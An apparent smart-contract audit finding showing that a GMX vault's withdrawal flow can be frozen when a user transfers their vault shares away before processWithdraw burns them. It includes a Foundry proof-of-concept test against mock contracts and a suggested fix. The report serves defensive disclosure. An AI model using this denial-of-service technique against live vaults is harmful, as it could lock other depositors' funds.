User can revert processWithdraw
When a user wants to withdraw his tokens after depositing, the LP tokens are first sent to GMX. GMX then sends back the deposited tokens. Before the user receives them, their Vault Shares are burned in processWithdraw:\\n```\\nFile: GMXWithdraw.sol#processWithdraw\\nself.vault.burn(self.withdrawCache.user, self.withdrawCache.withdrawParams.shareAmt);\\n```\\n\\nA user could, after the LP tokens have been transferred to GMX and the Vault is waiting for the callback, transfer his Vault Shares away from his address. This would result in not having enough tokens left during the burn, causing a revert. Afterward, the Vault would be stuck in the 'Withdraw' state because, although the keeper could call the function again, it would result in revert again.\\nHere is a POC that demonstrates how a user can cause the processWithdraw to revert:\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity 0.8.21;\\nimport { console, console2 } from "forge-std/Test.sol";\\nimport { TestUtils } from "../../helpers/TestUtils.sol";\\nimport { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\nimport { IERC20Errors } from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";\\nimport { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";\\nimport { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";\\nimport { GMXTestHelper } from "./GMXTestHelper.sol";\\n\\nimport { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";\\nimport { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";\\nimport { Attacker } from "./Attacker.sol";\\n\\ncontract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {\\n    function test_POC4() public {\\n        //owner deposits\\n        vm.startPrank(address(owner));\\n        _createAndExecuteDeposit(address(WETH), address(USDC), address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE);\\n        vm.stopPrank();\\n\\n        //user1 deposits\\n        vm.startPrank(address(user1));\\n        _createAndExecuteDeposit(address(WETH), address(USDC), address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE);\\n        vm.stopPrank();\\n        \\n        uint256 vaultSharesAmt = IERC20(address(vault)).balanceOf(address(user1)); //Vault Shares from user1 to withdraw\\n        vm.startPrank(address(user1));\\n        _createWithdrawal(address(USDC), vaultSharesAmt, 0, SLIPPAGE, EXECUTION_FEE); //User 1 creates a withdrawal\\n        IERC20(address(vault)).transfer(address(user2), vaultSharesAmt); //Before processWithdraw is executed and the user's Vault Shares are burned, he sends them away\\n\\n        vm.expectRevert(\\n            abi.encodeWithSelector(IERC20Errors.ERC20InsufficientBalance.selector, address(user1), 0, vaultSharesAmt)\\n        );\\n        mockExchangeRouter.executeWithdrawal(address(WETH), address(USDC), address(vault), address(callback)); //executeWithdraw reverted as there are no tokens to burn\\n        vm.stopPrank();\\n\\n        GMXTypes.Store memory _store = vault.store();\\n        assert(uint256(_store.status) == uint256(GMXTypes.Status.Withdraw)); //shows that the vault is still in the Withdraw status\\n    }\\n}\\n```\\n\\nThe POC can be started with this command: `forge test --match-test test_POC4 -vv`
Tokens should be burned immediately after remove liquidity is called in GMXWithdraw.sol:\\n```\\n// Add the line below\\n 154: self.vault.burn(self.withdrawCache.user, self.withdrawCache.withdrawParams.shareAmt);\\n// Remove the line below\\n 197: self.vault.burn(self.withdrawCache.user, self.withdrawCache.withdrawParams.shareAmt);\\n```\\n
A user could put the Vault into a 'Stuck' state that can only be exited through 'emergencyPause' and 'emergencyResume.' This would take some time as 'emergencyResume' can only be called by the owner, who is a Multisig with a Timelock. (A keeper could also call 'processWithdrawCancellation,' but in this case, the debt to the lending vault would not be repaid. The tokens withdrawn by GMX would simply remain in the vault, and the user's Vault Shares would not be burned.)
```\\nFile: GMXWithdraw.sol#processWithdraw\\nself.vault.burn(self.withdrawCache.user, self.withdrawCache.withdrawParams.shareAmt);\\n```\\n